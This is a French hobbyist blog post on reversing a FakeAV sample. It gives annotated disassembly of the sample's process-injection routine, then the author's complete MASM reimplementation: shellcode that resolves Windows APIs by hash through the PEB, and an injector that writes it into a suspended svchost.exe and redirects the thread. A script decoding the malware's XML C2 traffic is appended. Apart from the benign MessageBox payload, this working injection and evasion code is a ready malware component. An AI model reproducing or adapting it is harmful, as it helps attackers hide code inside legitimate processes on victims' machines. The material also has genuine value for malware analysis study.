Faire du re et apprendre des choses
Introduction
L'autre jour sur IRC, on me balance un link vers un VX qui aboutit sur le download d'un FakeAV.
Le truc fun quand j'ai reverse la bête, j'ai appris une technique d'injection dans un processus qui est
oldschool mais n'étant pas expert dans la matière, j'ai voulu la recoder.
Injection
Voici un extrait du disas commenté :
00403ACE |. FF90 70080000 CALL DWORD PTR DS:[EAX+870] ; kernel32.CreateProcessA
00403AD4 |. 85C0 TEST EAX,EAX
00403AD6 |. 0F84 9C000000 JE usps.00403B78
00403ADC |. A1 10C54000 MOV EAX,DWORD PTR DS:[40C510]
00403AE1 |. 53 PUSH EBX
00403AE2 |. 57 PUSH EDI
00403AE3 |. FF90 74080000 CALL DWORD PTR DS:[EAX+874] ; kernel32.GetModuleHandleA
00403AE9 |. 8BF0 MOV ESI,EAX
00403AEB |. 8B46 3C MOV EAX,DWORD PTR DS:[ESI+3C]
00403AEE |. 8B5C30 50 MOV EBX,DWORD PTR DS:[EAX+ESI+50]
00403AF2 |. A1 10C54000 MOV EAX,DWORD PTR DS:[40C510]
00403AF7 |. 6A 40 PUSH 40 ; flProtect = PAGE_EXECUTE_READWRITE
00403AF9 |. 68 00300000 PUSH 3000 ; flAllocationType = MEM_COMMIT | MEM_RESERVE
00403AFE |. 53 PUSH EBX ; dwSize = 0xE000
00403AFF |. 56 PUSH ESI ; lpAddress = 0x00400000
00403B00 |. FF75 EC PUSH DWORD PTR SS:[EBP-14] ; hProcess = PROCESS_INFORMATION->hProcess
00403B03 |. FF90 78080000 CALL DWORD PTR DS:[EAX+878] ; kernel32.VirtualAllocEx
00403B09 |. 3BC7 CMP EAX,EDI
00403B0B |. 74 60 JE SHORT usps.00403B6D
00403B0D |. 8D4D E8 LEA ECX,DWORD PTR SS:[EBP-18]
00403B10 |. 51 PUSH ECX ; *lpNumberOfBytesWritten = 0x00B8FC6C
00403B11 |. 53 PUSH EBX ; nSize = 0xE000
00403B12 |. 56 PUSH ESI ; lpBuffer = 0x00400000
00403B13 |. 50 PUSH EAX ; lpBaseAddress = 0x00400000
00403B14 |. FF75 EC PUSH DWORD PTR SS:[EBP-14] ; hProcess = PROCESS_INFORMATION->hProcess
00403B17 |. A1 10C54000 MOV EAX,DWORD PTR DS:[40C510]
00403B1C |. FF90 88080000 CALL DWORD PTR DS:[EAX+888] ; kernell32.WriteProcessMemory
00403B22 |. 8D85 D4FBFFFF LEA EAX,DWORD PTR SS:[EBP-42C]
00403B28 |. 50 PUSH EAX ; lpContext = 0x00B8F858
00403B29 |. FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; hThread = PROCESS_INFORMATION->hThread
00403B2C |. A1 10C54000 MOV EAX,DWORD PTR DS:[40C510]
00403B31 |. FF90 84080000 CALL DWORD PTR DS:[EAX+884] ; kernel32.GetThreadContext
00403B37 |. 8D85 D4FBFFFF LEA EAX,DWORD PTR SS:[EBP-42C]
00403B3D |. 50 PUSH EAX ; lpContext = 0x00B8F858
00403B3E |. FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; hThread = 0xC0
00403B41 |. A1 10C54000 MOV EAX,DWORD PTR DS:[40C510]
00403B46 |. C785 8CFCFFFF>MOV DWORD PTR SS:[EBP-374],usps.00402EF5 ; lpContext->Eip = 0x00402EF5 ( OEP )
00403B50 |. FF90 80080000 CALL DWORD PTR DS:[EAX+880] ; kernel32.SetThreadContext
00403B56 |. FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; hThread = PROCESS_INFORMATION->hThread
00403B59 |. A1 10C54000 MOV EAX,DWORD PTR DS:[40C510]
00403B5E |. FF90 7C080000 CALL DWORD PTR DS:[EAX+87C] ; kernel32.ResumeThread
La méthode est toute simple :
- Création d'un processus (ici en l'occurence svchost.exe)
- Appel à VirtualAllocEx, pour allouer de la mémoire dans un processus cible
- Appel à WriteProcessMemory, on écrit le code qui va étre éxecuté
- Appel à GetThreadContext, on récupère le context du thread du processus cible.
- On set eip sur le code que l'on vient d'écrire
- Appel à SetThreadContext, on met à jour le context du thread du processus cible.
- Appel à ResumeThread, on relance l'éxécution du thread du processus cible.
A partir de là, j'étais en mesure de pouvoir réecrire la chose, seul soucis lorsque je vais injecter du code
dans le processus cible, il va falloir que je resolv à la main les adresses des API dont j'ai besoin. (reconstruction d'IAT
à l'éxécution).
Éxecutable injecté
Le code injecté est assez fun, je vais résoudre l'adresse de kernel32.dll, chercher l'adresse de la table de fonction,
puis me balader sur la table de noms de fonctions, et calculer un hash pour chaque nom, que je comparerais avec un hash précalculé
pour l'API que je désire appeler.
Dans l'exemple ici, j'affiche juste un message "It Works", donc je load User32.dll et fait un appel
à MessageBoxA.
Bref le code parlera mieux de lui même :
.386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib assume fs:nothing .code start: cld xor edx, edx ;; Get address of kernel32.dll mov edx, fs:[edx + 30h] mov edx, [edx + 0Ch] mov edx, [edx + 14h] next_mod: mov esi, [edx + 028h] mov ecx, 24 xor edi, edi loop_modname: xor eax, eax lodsb cmp al, 'a' jl not_lowercase sub al, 020h not_lowercase: ror edi, 13 add edi, eax loop loop_modname cmp edi, 6A4ABC5Bh mov ebx, [edx + 10h] mov edx, [edx] jne next_mod mov eax, ebx push ebx push offset Addrkernel32 push offset Afonction push offset Namefunc push offset Aordinal call filladdr lea edi, Nuser call load_dll push eax push offset Addruser32 push offset Afunuser32 push offset Nfunuser32 push offset Aorduser32 call filladdr push 30h push offset Message push offset Message push 0 push 4 push [Addruser32] push [Nfunuser32] push [Aorduser32] push [Afunuser32] push [HMessageBox] call callapi jmp exit ;; ------------------------- ;; Function : load_dll ;; Description : Load the desired dll ;; Parameters : EDI = Crypted name of the dll ;; Output : Eax = Adress of the loaded dll ;; ------------------------- load_dll: push ebp mov ebp, esp push edi push 1 push [Addrkernel32] push [Namefunc] push [Aordinal] push [Afonction] push [HLoadLibrary] call callapi leave ret ;; ------------------------- ;; Function : strlen ;; Description : Compute the length of a string ;; ------------------------------- strlen: push edi mov edi, dword ptr[esp + 08] push edi xor eax, eax symbol: scas byte ptr[edi] jne symbol xchg eax, edi dec eax pop edi sub eax, edi pop edi ret ;; ------------------------------- ;; Function : xCRC32 ;; Description : Calcul CRC32 for the desired string ;; Parameters : ;; - String ;; - Length of the string ;; -------------------------------- xCRC32: pushad mov ebp,esp xor eax,eax mov edx,dword ptr [ebp+24h] mov ecx,dword ptr [ebp+28h] jecxz @4 dec eax @1: xor al, byte ptr [edx] inc edx push 08 pop ebx @2: shr eax,1 jnc @3 push edx push ecx mov ecx, 0EDB8h mov edx, eax shr eax, 16 xor eax, ecx mov ecx, 08320h xor edx, ecx and edx, 0ffffh shl eax, 16 or eax, edx pop ecx pop edx @3: dec ebx jnz @2 loop @1 not eax @4: mov dword ptr [ebp + 1Ch], eax popad ret ;; ------------------------------- ;; Function : callapi ;; Description : Function for calling the desired api with all her arguments ;; Parameters : ;; - Push all the arguments for the further called api ;; - Number of arguments for the further called api ;; - Adress of the desired dll ;; - Adress of name table of the desired dll ;; - Adress of ordinal table of the desired dll ;; - Adress of function table of the desired dll ;; - Hash (CRC32) of the desired api to call ;; ;; ------------------------------- callapi: push ebp mov ebp,esp mov ecx,dword ptr [ebp + 01Ch] ; Number of args add ecx, 7 load: mov edx,dword ptr [ebp + 4 * ecx] push edx dec ecx cmp ecx, 7 jne load mov edx, dword ptr [ebp + 018h] ; Addr dll mov esi, dword ptr [ebp + 014h] ; Addr Name func xor ecx, ecx gob: lodsd add eax, edx mov edi, eax comb: push edx lea edi, [edi] push edi call strlen pop edi mov edx, eax push edx push edi call xCRC32 pop edi pop edx cmp eax, dword ptr [ebp + 08h] ; HashApi pop edx je goob jmp nexte nexte: inc ecx jmp gob goob: shl ecx, 1 add ecx, dword ptr [ebp + 010h] ; Addrordinal xor eax, eax mov ax, word ptr [ecx] shl eax, 2 add eax, dword ptr [ebp + 0Ch] ; Addrfonction mov eax, [eax] add eax, edx call eax pop ebp ret ;; ------------------------------- ;; Function : filladdr ;; Description : usefull function for filling all information about a dll ;; Parameters : ;; - Addr of "ms-dos" header of the desired dll ;; - Ptr to addr of name table ;; - Ptr to addr of ordinal table ;; - Ptr to addr of function table ;; -------------------------------- filladdr: push ebp mov ebp,esp mov ecx, dword ptr [ebp + 018h] mov ecx, [ecx + 03Ch] add ecx, dword ptr [ebp + 018h] cmp word ptr [ecx], 'EP' jnz exit ;; Save Header addr mov edi, dword ptr[ebp + 014h] mov [edi], eax mov edx, [ecx + 78h] add edx, eax mov ebx, [edx + 1ch] add ebx, eax ;; Save fun addr mov edi, dword ptr[ebp + 010h] mov [edi], ebx mov ebx, [edx + 20h] add ebx, eax ;; Save Name fun addr mov edi, dword ptr[ebp + 0Ch] mov [edi], ebx mov ebx, [edx + 24h] add ebx, eax ;; Save ordinal addr mov edi, dword ptr[ebp + 08h] mov [edi], ebx pop ebp ret exit: ;; Exit(0) push 0 push 1 push [Addrkernel32] push [Namefunc] push [Aordinal] push [Afonction] push [HExitProcess] call callapi ;; Address of kernel32.dll Addrkernel32 dd 0 ;; Adress of function table in kernel32.dll Afonction dd 0 ;; Adress of name function table in kernel32.dll Namefunc dd 0 ;; Adress of ordinal's table in kernel32.dll Aordinal dd 0 ;; Address of user32.dll Addruser32 dd 0 ;; Adress of function table in user32.dll Afunuser32 dd 0 ;; Adress of name function table in user32.dll Nfunuser32 dd 0 ;; Adress of ordinal's table in user32.dll Aorduser32 dd 0 Nuser db "user32.dll", 0 ;; Hash for kernel32.dll HLoadLibrary dd 03FC1BD8Dh HExitProcess dd 0251097CCh ;; Hash for user32.dll HMessageBox dd 0572D5D8Eh Message db "It Works !", 0 end start
Le makefile qui va avec :
@echo off
if exist "creepy.obj" del "creepy.obj"
if exist "creepy.exe" del "creepy.exe"
\masm32\bin\ml /c /coff "creepy.asm"
if errorlevel 1 goto end
\masm32\bin\Link /SUBSYSTEM:WINDOWS /SECTION:.text,erw /BASE:0x400000 "creepy.obj"
if errorlevel 1 goto end
:end
pause
Nous avons donc notre programme qui va être injecté, il nous faut le programme pour l'injecter mais avant j'ai écrit un script python pour transformer le binaire injecté en variable pour masm, afin de pouvoir l'inclure dans mon programme :
out = open("creepy_exe.asm", "w") i = 0 count = 0 f = open ("creepy.exe", "rb" ) out.write("creepy db ") while (1): tampon = f.read(1) if tampon == "": break i = i + 1 if i % 8 == 0: s = "0%02Xh\n" % ord(tampon) else: s = "0%02Xh, " % ord(tampon) out.write(s) count = count + 1 if i % 8 == 0: out.write("\tdb\t") i = 0 out.write("000h") print "COUNT =", count
Voilà il ne reste plus qu'à coder l'injecteur :
.386 .model flat, stdcall assume fs:nothing option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib .data include creepy_exe.asm scr db "\svchost.exe", 0 len_code dd 1536 oep_foffset dd 200h oep dd 00401000h .data? SystemDir db 256 dup(?) Bwritten dd ? Ctx CONTEXT <?> SuInfo STARTUPINFO <?> PrcInfo PROCESS_INFORMATION <?> .code start: invoke GetSystemDirectory, addr SystemDir, sizeof SystemDir invoke lstrcat, addr SystemDir, addr scr invoke CreateProcess, NULL, addr SystemDir, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, addr SuInfo,addr PrcInfo invoke VirtualAllocEx, PrcInfo.hProcess, oep, len_code, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE mov eax, len_code sub eax, oep_foffset mov ebx, offset creepy add ebx, oep_foffset invoke WriteProcessMemory, PrcInfo.hProcess, oep, ebx, eax, Bwritten mov Ctx.ContextFlags, CONTEXT_FULL invoke GetThreadContext, PrcInfo.hThread, addr Ctx push oep pop Ctx.regEax invoke SetThreadContext, PrcInfo.hThread, addr Ctx invoke ResumeThread, PrcInfo.hThread invoke ExitProcess, 0 end start
Voilà, la bêtise que j'ai ecrite récemment et qui m'a bien amusé.
Bonus
Just for the lulz, en reversant le malware il communiquait avec un serveur distant à l'aide du format XML. J'ai écrit un petit script python pour voir les communications :
import base64 def decrypt(s): res = "" for c in s: res += chr(ord(c) ^ 0x53) print res ch1 = "HBhvITw8J21jbycgKj0wczo3bnRiYGJiYmFjY2RqdHxtb3whPDwnbQ==" ch2 = """byE8PCdtbzE6PTU8czo3bnRgYGVqZGFgYGpidHM9J250Y3RzMSVudGd 9ZXRzPydudB8SHXRzPCBudAQ6PTc8JCBzCwNzAyE8NTYgIDo8PTI/c3 Rtc298MTo9NTxtb3whPDwnbQ==""" ch3 = "byE8PCdtbyM6PTRzOjdudGBgZWpkYWBgamJ0fG1vfCE8PCdt" f = open('527069638.dat', 'r') s = f.read() decrypt(s) decrypt(base64.b64decode(ch1)) decrypt(base64.b64decode(ch2)) decrypt(base64.b64decode(ch3))
Output :
<?xml version="1.0"?>
<root/>
OK<root>0<tsync id='3369723391'/></root>
<root><binfo id='3369723391' nt='0' bv='4.6' lt='LAN' os='Windows XP Professional '> </binfo></root>
<root><ping id='3369723391'/></root>